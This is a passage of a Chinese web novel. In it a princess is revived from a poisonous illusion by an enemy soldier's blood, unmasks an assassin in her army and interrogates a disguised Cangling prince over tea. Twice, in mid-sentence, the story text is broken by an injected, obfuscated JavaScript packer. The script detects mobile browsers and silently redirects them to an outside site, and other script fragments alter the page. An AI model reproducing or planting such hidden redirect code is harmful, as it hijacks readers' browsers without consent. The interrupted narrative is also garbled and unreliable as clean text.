那双手持续用力,恨意蚕食的双目中,玄凝阖上了眸眼,将泪光深埋浅壑。 如果在幻境中死去,外面的她会变得如何。 她不知道。 “殿下!殿下!” 不远处传来几声急促的呼唤,尽管那人有意压下声量,让声音少了几分尖锐,不那么惹人注意,但在这片飞鸟无踪的林中,细听倒也算得上突兀。 循着呼唤声催快脚步,萨耶斜身翻跃过人为设下的路障,朝着声源大步奔去。 “殿下算我求你了,快醒醒!” 无论云泥如何呼唤,地上躺着的玄凝始终昏迷不省,双手还死死掐着自己的脖子,勒扼的连呼吸都喘不上来气,云泥使劲了浑身力气,都没能将其掰开。 那张脸的血色涨得越来越红,眼下隐隐露出白珠,云泥咬牙拔出了短刀,正打算动手时,一道寒光猛地从身侧袭来,她被迫滚身躲避,手中短刀横转,握在掌心立即朝来人扑去。 在看清苦寻半天的面庞后,萨耶的呼吸急促了三分,侧身躲过对方的进攻,出手时也再不留任何余地。 被风扑扬的发丝未落,刀刃已转至那人暴露的后颈,不经意一瞥,神纹映眼,萨耶皱眉改了刀背,抬腿狠踹在她腰脊椎骨上。 此人,居然得了神旦精血庇护。 难怪会醒着,而她…… “我要救她,别妨碍我。” “嘶疼疼疼……哪来的疯蹶子……”云泥痛苦地捂着腰,原地挣扎爬起,却看见那疯蹶子拎着弯刀,朝着玄凝走去,吓得她顾不上疼痛爬了过去。 “救人?救人你拿什么刀……哎!我跟你说话呢咳咳咳!”云泥一个大声差点岔气,她咳嗽了几声,再次抬眸时,眼前不可思议的一幕,使她过于震惊而瞪大了眼睛。 他脱衣服干什么??? 银甲落地,萨耶解开衣领的排扣,拂手撩开,露出被雪地映照更显白皙的肩颈。不解声中,他掰断了玄凝系在腰侧的鹰喙箭,反手对准了自己。 沾了毒液的弯钩刺破了血肉,颦眉用力,从右颈侧到左侧锁骨处,硬生生划裂开一道边缘不齐的伤口。 她还深陷幻境中,哪怕泪水滑落,脖颈上的手依旧紧握。 她这样的人,也会负罪在身吗? 沾染毒液的伤口迅速见红,萨耶□□跪在她身上,倾身伏首,手指撬开她的嘴巴,让涌出的血液得以滴落她口中。 “旦之孽身,供饮神恩,宥汝咎罪,奉汝涅槃。” 额间的神纹灼痛,随着唇边低喃,身下握着脖颈的手,逐渐有了松动迹象。 不明所以的云泥慢慢靠近,她趴在地上,一会儿关切望着自家殿下,一会儿警惕瞪着神叨叨的疯蹶子。 这人,该不会就是碦利什提到的什么、什么沧灵神蛋? 眼见玄凝的鼻间重新呼出白雾,她紧悬着的心总算落地,只是瞅见那人戴着的狼鹫面具,云泥还是不敢掉以轻心。 “你叽里呱啦念些什么呢?我家殿下到底能不能醒来?” 萨耶眼也不瞥,口中念诵着神书上的口谕,手扶着玄凝的脖子将她搂向自己,如哺乳般将汇聚到锁骨凹陷处的血液,送进微微翕张的嘴中。 “醒来,有人在等你。” 血沫纷飞的夜空下,抽噎的哭声渐止,玄凝失魂落魄地直起身,望着身下再也无法自然合帘的双眼,颤抖的手覆盖上去,心中又是一阵悸恸。 “对不起……我还不能死……” “玄甲军在等我……阿媫在等我……你……也在等我……对吗?” 本是轻飘无序的血瓣,忽然化作红雾,丝丝缕缕钻进身体,即将苏醒之际,玄凝用尽最后一丝意识,俯身抱紧了冰冷的身子。 “棠宋羽……” 睁开眼时,嘴巴里的铁锈味瞬间涌上大脑,玄凝皱眉舔了舔唇缝,看着面前血流不止的伤口,不禁疑惑抬眸。 玄凝:“……” 萨耶:“……” “你在做什么……” “救你。” “用血?” “嗯。” “下次不许了。” “没有下次。” 玄凝松开环住他腰身的手,后退起身,她一时没注意,脚踩到了趴在地下的云泥手上,疼得她嗷嗷嚎道:“我的手——殿下你不能只看他不看路!” “谁让你趴在地上的?”玄凝伸手去拉她,却见她捂着腰忿忿诉怨:“是他!他把我脊椎踹断了!” 脊椎断裂可并非小伤,玄凝狐疑地望了一眼萨耶,他正往伤口上撒药,察觉到目光,抬眸冷道:“只是错位。” “听到没有,错位了,我帮你掰回来。” 她唇边还挂着血迹,握拳热身的样子,好像要把人心脏掏出来啃了,云泥惊恐万分,蹬着腿试图逃离,下一秒就被人拿面帷捂住了嘴,冰凉的手钻进衣摆,上手捏拔,骨声清脆。 “呜!!!” 椎骨被强制正回位置,疼得云泥连许久未落的眼泪都逼出来,趴在地上如死鱼般休缓。 玄凝拢起一旁干净的雪在脸上擦搓,余光看见被折断的箭杆,起身问道:“你放箭是为了提醒我不要靠近湖边?” “嗯。”萨耶正穿着银甲,闻声抬也不抬。 “为什么?湖边到底有什么东西?” “我为何要告诉你。” “嚯。”玄凝攥着雪团,走到他面前捏碎,“你不告诉我,就是这个下场。” 他戴着面具,玄凝看不见那张脸,也就不会心慈手软,只是她万万没想到,萨耶居然趁自己毫无防备,一个抱身将她放倒在地。 “又偷袭……” 后背砸在雪地,玄凝抬腿就往他脸上招呼,对方眼疾手快,一手抓住她的脚,一手抓住衣摆将她拖拽到身下压住。 在旁观者的眼中,这种姿势过于暧昧,要不是闻见先前的对话,云泥都要以为这两人要在冰天雪地之中欢合了。 “我听某人说,有个口音奇怪的银甲军对我有意思,想要以身投诚……”玄凝不紧不慢抬起手,沿着狼鹫面具描摹,“你说,那人该不会是……” “有人监视我,帮我甩掉。” “……” 玄凝眯眼笑了笑,“可以,好处呢?” “……我知道的一切。” “成交。” 玄凝一手摘下了他的面具,勾腿翻身,朝地上的云泥喊道:“有诈,快跑!” “啊?”云泥当即纳闷了一声,却也出于本能, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063661|123039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到命令立即从地上爬起来,问:“往哪跑啊?” “笨,往回跑。”做戏就要做全,玄凝起身时还不忘往他身上踹了一脚,也没用力,就是不小心踹错了地方,疼得萨耶面色一变,蜷缩着身子缓解,过了一会儿才狼狈站起来追人。 今晚吃烤兔腿好了。 对于某人的怨念,玄凝一概不知,身影跑出白雾笼罩的林中,左晃右拐又回到了来时的山路上,她没有上山,绕了几圈又沿路跑回了林中。 云泥对她的行为很是费解,跟在后面问道:“殿下……咱们这是在……赛跑吗?” “你就当是赛跑吧。” “那不公平……我不会什么仙人步法……跑不过殿下……” 玄凝正根据雾气判断着距离,亲身步测后才发现,她醒来的地方离山道并不算远,应该只有一两公里,而按照地图比例换算,她离湖心还差六七公里。 白雾干扰了她对于时间的判断,玄凝本来以为时间没有过去多久,但若以萨耶从湖边赶至身边的时间来算,雪地难行,就算是跑,起码也要花上一个时辰, 在沧灵军家门口睡了一两个时辰,玄凝想想就心有余悸,如果她今天醒不来,即便运气好没被沧灵军发现,她也会冻死在这片阴冷地。 她思考时脚下生风,后面云泥实在跟不动了,边跑边喘道:“殿下……你得等等我……我感觉……我要把午饭吐出来了……” “……” 经过时,萨耶默默移开了视线,顺着地上浅显的脚印找寻她的身影。 还未看见人,脚印戛然消失,萨耶站在几棵密集的雪松前环顾着四周,忽而头上有落雪,纷纷扬扬洒在他的银甲上,一声布谷鸟清脆啼鸣,他仰头便看见,那人正坐在树上朝他招手,脸上,还戴着他的面具。 “上来。” 冬木枯脆,她也不怕把树枝压断。 “我在这待不了多久,你有话便问。” 他脸上红扑扑的,也不知是跑的,还是冻得。玄凝撇了撇嘴,“好吧,那你先回答我刚才的问题,为什么不能靠近湖边,湖边有什么?” “危险。” “然后?” “有危险。” 要不是看在他长着和棠宋羽一样的脸,玄凝真想跳下去把他砸死。 “危险是指什么?” “人。” 这算是哪门子的回答……等等,玄凝眸光一闪,危险的人,也就是说,沧灵军的营地真的在湖边。 树下的萨耶就没她这么喜悦,他需要一直保持警惕,竖耳聆听周围的动静,确认没有脚步才开口道:“还有问题吗?没有我走了。” “有,我为什么会陷入幻境,你为什么要拿血喂我?” 萨耶有所顾虑,抬头看了她一眼,道:“白雾是毒,血是药引。” 玄凝总觉得他话只说了一半,“是白雾本身有毒,还是你们在湖里投放了毒物?什么毒?以及,是你的血是药引,还是你血液里的东西是药引?” “你很聪明。” 他冷不丁地来了一句夸赞,玄凝反倒起了警戒心,“什么意思?” 萨耶拂落狼毛领上的碎雪,抬手朝她追要面具,“她们在这附近,我要走了。” “……” 她在高处还未看见任何身影出现,他就如此肯定。玄凝一时无法得知他的话是真是假,犹豫着摘下面具,捧在手心问道:“最后一个问题,你有没有见过我的人?” “见过。” “……还活着吗?” 萨耶放下手淡淡道:“死了。” 被剥皮抽骨,剐油割耳,几捆红肉至今还挂在营地门口风干。 “她们……和你一样身陷幻境,被发现时已经死了。” “……” 玄凝将手里的面具,精准丢进他的怀中,“我没有问题了。” “这次,以及上回,多谢。但,若之后战场上相见,我可不会顾及你的救命恩情。” “我救你,是神的旨意。” 萨耶戴上面具,回眸冷冷道:“不是予你恩情,不需要你回报。” “呵,神的旨意。” 她眼中的戏谑压不过哀色,萨耶看了一眼便转身。 “你信奉的王神,可不会让你来救我。” 玄凝依靠在树边,望着沧白背影自言自语,“萨耶啊萨耶,你到底对谁的旨意如此言听计从。” “殿下,你就这么放他回去?他可是沧灵军,手上不知道沾了多少鲜血……” 云泥躲在一旁,把两人的对话听了大半,她实在想不通玄凝为何会在听到自己的人牺牲后,还能冷静放人离去。 “我们的手上,难道就干净了?” 想起山上放倒的那三个沧灵士兵,云泥低下头,靠在树边喃喃道:“不一样,是他们主动挑起战火,我们是保家卫国……” 玄凝踩着树干缓缓下来,语重心长地拍道:“你也看见了,他有心投诚,为救我划破了脖子,我们可不能让这种可用之才白白流失。” “噢我懂了,殿下现在还要利用他打听情报,等他日后失去利用价值,就可以杀了他作祭奠。” “嗯……” 等到战争结束,她想把萨耶带回天景城,倒也不是居心不纯,单纯想把他跟棠宋羽摆在一起,看他们俩会不会含泪相认。 想到这,玄凝心虚的别过头,“我就是这么想的。” 日落时分的天边,是打碎了的鸡蛋,大片白壤中淡黄流淌,萨耶刚踏进营地,就看见身披白狐斗篷的娜伊尔怒气冲冲的走来,见到他后,那眉间的怒意又强忍压了下去。 “我听你部下说,你去打猎了?” “嗯。” “猎到了什么?” “兔子。” “这附近还有兔子?” “……”萨耶不再作答,解下身后的猎物袋,递给了律真王身边的侍从。 “回禀王上,里面是有只兔子。” 娜伊尔看了一眼,确定里面是只死兔子,神情瞬间放松下来,转眼笑道:“以后不要一个人外出打猎,你也看见了,玄甲军最近有所动作,我们要小心点才行。” “嗯。” 眼见着王上离去,躲在旁边静观的尼古利立马蹦出来,抢过他手中的猎物袋,兴高采烈道: “我只是随便一说想吃兔子,想不到萨耶大人真的会特地跑去打猎……多谢萨耶大人,等我烤好了分你一半!” “没有,是我想吃。” 萨耶没有夺回她手里的袋子,在尼古利尴尬的目光下,继而道: “我只要腿,不要辣,烤好送来。” 又有兔子肉可以啃了,尼古利心中暗自窃喜的同时,还不忘惊讶那挑食的神旦,有朝一日居然会主动表达对食物的诉求。 但,为何只要腿? 97. Chapter.96 金临不同于灯火彻夜的天景城,因夜晚天甚寒,戌时过后,街上人迹希罕,家家户户闭门围坐暖炉,吹弹掷乐,欢饮达旦,直至亥时熄灯,霜雪静落,万物声响都仿佛掩盖在极寒朔雪中。 夤夜天正是深沉,乌云蒙蔽明月,昨夜迢迢星汉,而今黯淡难寻。城中街道静谧,点点微火在风中飘荡,时有犬吠传深巷,原是督州府巡卫过路。 城楼上巡夜的甲兵整齐排布,近两月的插科打诨,使得彼此间早已相互熟识,不时有人来上几个让人冷掉牙的笑话,虽引来一片骂声,倒也算得上必要的活跃。 人长时间暴露在寒天之下,大脑也仿佛会被冻住,反应变得迟钝,适当的对话,总能稍稍驱走困意。 寥寥笑语声中,有人忽而警惕噤声:“嘘!你们听——” 众人被她吓得面色一变,连忙将传声筒放到耳边屏息静听。 好像,有什么东西过来了。 “你们快看河对岸!” 安静的城楼上又有人惊呼,众人闻声趴在城墙上,朝着远处怀安河眺望而去。 只见河对岸的树林上方漂浮着无数幽火,阴森森的,远看像是一个巨人,在漆黑夜空下,正缓缓朝着金临城方向走来。 “鬼……是鬼……” 部分甲兵常年驻守金临城,但十几年来,谁也不曾见过这种东西,一听说是鬼,胆小的当场吓晕在地,剩下的抱团挤作一堆,七嘴八舌地讨论着邪门怪谈。 城楼击鼓,玄凝带着人匆匆赶到时,巡甲兵口中所说的巨型幽鬼俨然无踪,只有铺了一地的幽白,在冰河上莹莹泛着光芒。 “亏她们想得出来用这阴损招式。” 身后的天蜻掩了掩领口,寒风中连凌乱飘发都不满,刮在脸上跟被风抽了一巴掌似得。 “既有动作,离下一次攻城应该不远了。” 玄凝收回眺望视线,落到一旁窃窃私语的夜巡将士身上,面色凛然忧沉。“今夜之事不可外宣,若有人擅自走漏风声,军法处置。” 话虽如此,早食过后,幽鬼现身之说已经在军中传的沸沸扬扬,甚至从中衍生出许多离奇版本。 玄凝对此结果早有预料,众口悠悠,她堵不了人的嘴,倒是能找到走漏风声的人。 “沧灵即将大举进攻,你二人却在战前以借阴兵、幽鬼将军等荒唐言论动摇军心,可谓居心叵测。本王念及二位曾为边境安稳做出贡献,现免去你二人死罪,罚三十板,可有异议?” “有。”跪着的人俨然不服,质问她“那么多人散播消息,凭什么只罚我们俩”, 玄凝端着审视眸眼,翘腿打量着二人,漫长沉默中,有人进来通传,说云护卫已经破了幽鬼之说。 “哦?怎么破解的?” “她把造谣的人叫到校武场上挨个揍了一遍,现在军中谁也不敢再提及此事。” “……” 一天到晚牛劲没处使。 “既然如此,那我应该不用领罚了吧?” 底下方才质问她的人探头追问,而她身旁的人就没多大喜悦,一闪而过的皱眉被玄凝紧盯的目光捕捉到,她佯装一副好奇的样子倾身问道:“不用受罚,你不高兴吗?” 那女子闻声低头道:“殿下并没说可以免去罪责,卑职不敢高兴。” “噢,那我现在免去你们二人的罪,你能笑一个吗?” 身形沉默不动,玄凝微微扬起唇角,后仰靠在了椅背上,抱手笑道:“很难吗?卜闵仇。” “这么多年过去,你还真是人如其名,不泯半点仇。” 追查多日,总算是不负苦心。 玄凝只是将计就计,利用幽火一事,排查名单上剩余的十三人,倒还真让她走了瞎猫运,碰到了主动送上门的老鼠。 冒着违犯军法的风险散播耸人听闻的传说,又恰好出现在名单上的,只有眼下跪着的人。 屋外风声猎猎,透过不甚严丝合缝的木门,扑灭了屋内角落悬挂的几盏烛火,周围陷入昏暗,只剩案前一盏油灯,来回不定,晃动着晦暗面庞,将庞然身影映在墙壁上的凶戾眼中。 那是一只用铜铁浇铸雕刻的重明鸟。 亦是玄凝此生背负的象征。 幽暗中,有人开口道:“传闻重明与凤鸟本是娲祖麾下的两名大将,却因脾性不合,常争斗撕咬,惊扰娲祖静修,因此被罚下人界,体验人世疾苦,修身磨性。” 天蜻拿着火折将熄灭的烛火一一点亮,堂内恢复明亮,玄凝才得以见到,那双掐紧掌心的手,正缓缓转移到腰间刀鞘。 卜闵仇并没有着急拔出刀,而是摩挲着剑鞘上的刻纹,继而讲述着传闻。 “到了人间,凤鸟凭借它的慈悲温驯眼,华丽肥硕的羽翼,清脆悠扬的鸣啼,被君王视为神兽祥瑞,所到之处,皆有无知愚人追逐膜拜。” “而重明鸟眼神凶戾,啼叫刺耳,纵有一双华丽的羽翼,却因过于剽悍无人敢接近,甚至被视作吃人的凶兽。” 卜闵仇讲的故事,玄凝从未听说过,但见她的手握在了刀柄上,她捧着脸,眼神示意天蜻过去,嘴上感兴趣问道:“后来呢。”。 “后来,凤鸟为了向世人展示它堪比造物神的能力,仿照着自己的模样做出了新的凤鸟,命名为‘凰’。” “可笑的是,凰虽承其形貌,却比凤美上一筹,得世人青睐供奉,凤妒而啄其冠,凰反击而啅尾,二者缠斗六九五十四周天,久久难分上下,人间却因凤凰相斗,饱受山摇地动之灾厄。” “山崩地裂,魍魉丛生,重明现身。” 卜闵仇拔出了短刀,寒光闪过她凶狠的眸眼,刀刃瞬顷扎进藏在袖中蠢蠢欲动的手掌,惨叫声中,她翻身用握紧的拳头抵住了欲图咬舌的牙齿。 “天蜻!” 一直等待命令的天蜻箭步上前,背后一记手刀敲晕了拼命抵抗的人,赶来的玄凝看见被咬破的血淋淋的手背,颦眉从腰间掏出了止血药。 卜闵仇谢绝了她的好意,“这是庄主给殿下专门准备的,卑职不该用。” “这是庄主为每一位玄家军准备的,你难道不是玄家军吗。” 话语不容她再拒绝,卜闵仇低头抿了抿干涩脱皮的下唇,慢吞吞伸出了手。 看着她这般扭捏不似方才出刀果断的反差,玄凝边给她伤口上药,边抬眼打趣道,“给你上药,又不是给你上刑。” “我怕……丑到殿下的眼睛。” “……” 玄凝之所以沉默,不是因为她的话,而是那双手布满了冻疮,新的,旧的;裂开的紫红皮肤上,又排布着不均匀的伤疤。 “这样的一双手,没有人会觉得丑。” 说完,她又补了一句,“景城运来的药品和物资明日抵达,记得去军医那里领。” “嗯,谢殿下关心。” 天蜻将地上躺着的女人手脚捆住,起身将她袖中隐藏的暗器,用布包好拿起,摊开在玄凝面前说道:“是禁宵。” 长尖细如毛,见针不过宵。用玄家打造的暗器来杀她,玄凝冷笑了一声,“倒是新鲜。依你看,她是谁派来的?” “此人隶属王宫中卫禁军,属下斗胆猜测,应该是……” “不是黄家。” 认出天蜻的口型,卜闵仇摇摇头,“黄家固然贪权,做事不择手段,绝不会做出通敌叛国的事情。” “黄家先前都敢派人对殿下施飞蛊之术了,你凭什么认定黄家不会因为两家恩怨与沧灵暗中勾结。” “试问左骑护卫,与沧灵勾结,予黄家有何好处?军队若遭到重创,金临一旦失守,周围大小城池恐也难以守住,届时沧灵军沿巫霞关挥师北下,不到半月就能攻到天景城下。天子势不会降,玄家死战而大伤,若天子出事,黄家……” 卜闵仇说着说着面色越来越凝重,天蜻戏谑挑眉,“黄家怎么样?” 她低下了头,喃喃道:“太子即位,黄家从此,只手遮天……不对,太子既也随军前来,黄家难道不怕太子出事?” “你怕是忘了。”天蜻压低了声音,“王宫里头,可还有一位郡主呢。” 三人心照不宣地沉默了片刻,墙壁上的重明鸟爪碎恶鬼邪祟,灯影惶惶,玄凝率先开口打破了这份宁静中的不安。 “当务之急,是守住金临城,今日之议,莫要再提。把人带去地牢严加审问,注意点,别让她死了。” 待卜闵仇扛着人下去后,天蜻才抱着手臂无奈道:“她还是老样子,一点都没变,凡事都要抢在我前面。” 玄凝打了个哈欠问道:“怎么,不去找她叙旧?” “……”不知想到了什么,天蜻冷不防打了个寒颤,“算了,怪恶心的。” “我记得当年护卫选拔,她在骑射上以一分之差输给了你?” “是……殿下怎么记得这么清楚?属下记得你那时候才三岁。” “噢,我是听别人说的。” 玄凝总不能说自己天赋异禀,她的记性也没有好到过往所见皆事无巨细的记得,只是三岁那年的护卫选拔上,发生了一件让她难以忘记的事…… “听谁说的?”天蜻神情有些慌乱,“殿下,你不要听信她们的话。” 因一分之差输给天蜻的卜闵仇,听到结果当场落泪,天蜻上前安慰,却被其……按在地上强吻。 眼看玄凝的嘴角微微翘起,又压了下去,天蜻愈发惶恐,道了句“殿下,我去看看犯人情况”,匆匆退到门外。 事后卜闵仇表示自己只是不服,故意恶心对方,但玄遥却破格让她做了右护卫。 玄凝严重怀疑,自家阿媫是故意的。 两人抬头不见低头见,除了尴尬还是尴尬。没过多久,卜闵仇主动请去边关驻守,在玄凝的印象中,两人从那之后再也没有见过面。 子夜,金钟再次敲响,玄凝刚睡下,闻声立即掀开被褥,披上裘衣匆匆赶到城楼上。 这一次,她看见了。 幽火熊熊燃烧着,如骇人传闻中的幽鬼将军一般,挥动着手臂,朝着怀安河不断移动着。 “不对。” 随后赶来的吉蕸皱眉道:“它并未动过。” 玄凝也有所察觉,踩在城墙上,以手做着参照,被框在双指间的“幽鬼”从未放大过,像是原地踏步一般。 这幽鬼将军还挺懂礼数的,既已现身,也不攻城,难道在等她打开城门,说声“这边请”吗。 见身影站在城墙上面,吉蕸好心提醒道:“世子殿下,城楼风大,小心掉下去。” 玄凝转身跃下城墙,与之一同站在边上,肉眼观察,那幽鬼将军出现不到半炷香的时间,便逐渐消隐在夜幕中,像是熄灭了的烛火一样。 两人相视一眼,玄凝道:“是人为的燃烧。” 吉蕸和她的想法一致,点头认可,“天下诡异之事不离人字,就是不知道沧灵军用了什么东西做柴薪,竟然能烧出白色的火焰。” “不一定是柴薪的颜色,或许火焰本身燃烧的颜色就是白色。” “燃烧的白色火焰……”侯在身后的云泥忽然开口道:“我听人说起过,沧灵境内有一处深坑,每到四月就会喷发出白色火焰,像是下雪一样。” 毋庸置疑,她一定是从那朔北舞郎口中听来的。 玄凝若有所思回过头,云泥被她盯得心虚,飘忽不定的目光在苦寻落脚无果后,慢慢低下看着腰间垂挂的瑙石编织而成的珠串。 “很漂亮。”玄凝随口一夸,云泥却掩耳盗铃似得将珠串捂住,“没有没有,这是我大街上随便买的,殿下要是喜欢,回头我再买一个送给殿下。” 吉蕸对云泥的印象几乎还停留在幼时,哪怕她如今已长大成人,战场上独当一面,却因那几年不见涨的身高,心下还是将她当小孩看待。 她禁不住打趣道:“世子殿下喜欢,你不如现在摘下来送给她,以后再买一个。” “不行。”云泥面露着急难色,打霜的嘴角沉沉,仿佛下一秒就要急出眼泪来。 “为什么不行?” “因为……因为……” 见她支支吾吾不肯将实话托盘而出,玄凝轻笑叹气,“好了吉将军,我们就别逗她了。” 云泥这才反应过来,“你们……” “明天把送你珠串的人带来,本王……”玄凝别有意味勾着嘴角,“请他喝茶。” 远在城中客栈的碦利什,一大清早眼皮就开始狂跳,他正以为是昨晚没休息好,忽然有人敲响了他房间门。 只敲了一声,又不出声,碦利什警惕地拿起桌上的烛台,离门还有三尺步的距离停下问道:“是谁?” “换好衣服,跟我走。” “云?” 手里的烛台又放了回去,碦利什快步回去打开门,却见云泥皱着张苦瓜脸,浑身散发着一股死到临头的焦灼与麻木的气息。 “怎么了?”他轻轻将人带进怀中,却又被她推开。 云泥深呼了一口气,道:“主帅大人要请你去茶楼品茗。” “请我?” “嗯。” 她看起来极不情愿地点了点头,碦利什稍有些迟疑,追问道:“为什么?” “主帅的心思,岂是我能琢磨的。” 碦利什翘着嘴角,弯身慢慢凑近:“云今天说话……怎么变得文绉绉的。” “少笑话我。”云泥抬腿就是一脚,手指着他脸警告道:“到地方不许乱说话,一切看我眼神。” 碦利什连声答应,但等到了茶楼厢房,看清那倚靠在窗边坐着的女君样貌,他张口就是一句“流氓,你怎么在这?” 云泥来不及捂嘴,只得装聋作哑,东张西望,脚步后退到门外,“嘭”一声关上了门。 “云?” “流氓?” 指间绕着垂落脸边的一绺长发,玄凝一时想不起来自己见过这男子,更想不起来自己曾几何时对他行了流氓之事。 “回来。” 一声令下,趴在门口的云泥顶着一张干瘪小脸,陪笑着又进来了。 碦利什立马躲到她身后,脸上尽是嫌弃,“我不跟她喝茶,我要回去。” 玄凝更加困惑了。 “我有见过他吗?”她说这话时,目光看向了云泥,也就得到了一个谜上加谜的答案。 “殿下,你不会想知道的。” “知道什么?” 云泥正要开口,却被碦利什率先抢了先机,羞愤地指控道“你这流氓当初在步天楼,抢了鼓手棒槌,把台上舞郎的后腚都敲了一遍,还把我踹下台,要不是云接住我,我怕是要躺在床上好几天下不来。” 步天楼……抢鼓槌……打后腚…… 双目交睫的瞬间,玄凝略有些恍然,“哦——本王想起来了。” 她往后一靠,抱手以笑掩饰上脸的窘意,“你的琼官话,比那时候要利落不少啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151288|123039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “哼。”碦利什拉着云泥转身就要走,想不到没走几步,又被她拉了回去。 “殿下没说你可以走。” “云,你就甘心跟着这样一个主人?” “闭嘴。” 云泥恨不得找个针线把他嘴缝上。 被凶了一声的碦利什俨然一副委屈模样,被按在凳子上还故意扭头不看她,小声嘀咕道:“就知道凶我。” 煮沸的茶叶不断翻涌,白雾浅浅笼罩在三人各怀心思的面容,风一吹,又争相散去, 金临的茶馆茶样不多,最好的茶叶,在玄凝眼里也算不上什么好茶,玄凝掀开被热茶烫过的杯盖,抬眸问道:“你既自小在沧灵长大,想必知道很多关于沧灵地界的传闻。” “知道也不告诉嘶——”碦利什皱眉低头,圆桌下,身旁人的厚底靴莫名踩在自己脚上,还颇为用力。 “云,你干嘛踩我?” “少废话,殿下问什么你就答什么。” “哦。”碦利什抬起脸,脚下却悄无声息地追上她的靴面,轻碰道:“我只听云的。” 桌下那点窸窣动静,玄凝垂眸抿了一口热茶,权当听不见。 只要能问出破解幽火之象的关键,他听谁的话,不重要,也不在她的关心范围。 只是他既然听从她手下的话,不妨就让云泥去问。 “幽鬼将军?你们金琼人倒是会起名字。” 碦利什听完云泥的讲述,掀开杯盖,茶汤香味醇厚,他没有着急喝,而是等云泥下一步的动作。 “沧灵地界最不缺的,就是白色火焰。” 不知何时何由形成的深坑,在初春到来前,必将喷发一场浩大的雪色焰火。 火焰看似冰冷无温,实则只要沾身,便是血肉成灰。 “每一场焰雪降落,都会有上百人死去。最严重的一次,整个千人村落,睡梦中皆化作白骨。” 玄凝听着紧了眉心,“这么严重,为何有关沧灵的地志册上从未记载过?” 碦利什闷头啜了一口热茶,可能由于发出的声音太大,或是怠慢了贵人的问话,又被云泥狠狠踩了一脚,害他差点没咽下去。 “咳咳。”碦利什被热茶呛到,掩面咳了几声才道:“先不说年代久远,这些深坑与白焰,在沧灵王室眼中并非自然现象,而是神怒,被记载在神书中,除非王室……” 他忽的停顿,云泥在一旁催问道:“除非王室什么?” “除非是王室妲旦或神巫一族,私自翻阅或外传神书上的内容,会被挖眼割舌。” “啊?怎么这么小气,连个书都不让看。”云泥丝毫没有怀疑,拍着胸脯保证道:“你放心,这里只有我们三人,不会有人说出去的。” “说出去也无妨。”玄凝端着茶杯倾身一笑,“对吗?” 她的目光如正在猎食的雌鹰,锋芒难掩,被紧盯的碦利什下意识抚上了额间,遮挡的余光落了层寒霜,冷冷回道,“我身在琼国地界,沧灵的禁令,当然对我无用。” 回答和预料中一样,玄凝不动声色饮了一口茶,放下问道:“既认定是神怒,这几百年来,沧灵王室请神巫卜算,大费周章寻找神旦,莫非就是为了此事。” “不完全是。在过去,神旦的存在,不只是为了平息神怒。” 传闻毕竟是传闻,与事实真相往往有些出入。 在百年前的沧灵,历经三日卧冰存活下来的男童仅仅被赐予神旦之荣,离神旦之职相差甚远。 修习神学与巫术,锻炼近身格斗与骑射之能,在成年之后,神旦将被送到王宫,侍奉女真王。 神旦一职,表面光鲜亮丽,实际上就是从小培养的侽宠,甚至还不如侽宠,只是王室为了延续血脉的工具,一旦女真王有孕,神旦的下场,就是坠落白色火焰,尸骨无存。 哪怕是新王权,神旦的作用,依然如此。 “等会,可我记得现在的神旦是女真王所出,那岂不成了……” 顾虑到对面睁着茫然大眼的云泥,玄凝张着嘴没有说下去。 碦利什扣盏笑了笑,“很可笑,不是吗。” 认为神旦是罪孽,却又要以神妲之身与罪孽交|媾。 简直荒谬。 “你们琼国人也是这样。”碦利什冷不丁地开口,引得在场两位琼国人士皱眉看向他。 前面的云泥没听懂,但这一句话她倒是听懂了,当场站起来抓着他的头发问道,“我们琼国人怎么可笑了?你给我说清楚。” “疼疼疼——云,你松开!” “不说清楚你别想好过!” 两人拽着头发僵持不下,玄凝盯着碦利什的额间若有所思,片刻举杯走了过去,将温和茶水浇倒在皱眉扬起的脸上。 “殿下!” 茶水顺着脸颊不断向下滴流,云泥慌忙去用衣袖擦去,“殿下这是做什么?” “这茶难喝,本王不想浪费。” 擦拭之下,碦利什的额间隐隐有红色显露,玄凝心道“果然,这人和萨耶的额头上,都有神纹。” 双月环日,一叶在日下。 她问了金临城中的神巫,只有具备沧灵王室血统的神旦才能将此图案纹在额间。 神纹寓意为——献身。 碦利什脸上没有太多波动,在看见对方眼神时,他就已经知晓自己被盯上。 无法逃出视线,等待他的只有利爪或尖喙。 “云。”碦利什握住还在擦拭的手,抬眸请求道:“我想吃朱南长街头的炸角糕。” “现在?你发什么疯?” “我也想吃。”玄凝掏出钱袋,“顺路再带几串糖墩墩。” 她没有明说买几串,云泥心里的小算盘已经成型——她要把店里的糖墩墩全买了,带回去给营里的人吃。 “殿下要吃,那我现在去。”云泥接过钱袋,兴高采烈地下楼了, 厢房内,碦利什转着指环,靠在椅子上扬眉一挑,“说吧,你想要什么?” 玄凝冷笑着坐回去,“我想要的,你未必会给。” “只要你答应我一个要求,无论是沧灵入口,还是巫毒解药,我都能告诉你。” 解药,玄凝心中微微一动,面上淡定道:“你连是谁都不肯说清楚,我为何相信你?” “你这么聪明,应该猜到了。” 碦利什抹去额心涂抹的红玉膏,露出被搓红的神纹,“沧灵三王子,碦利什耶。” “至于相信,你可以不相信我,反正在这金临城你也找不到比我了解沧灵的人了。” 就算找得到,也未必知晓那么多事关沧灵王室与神书上的内容。 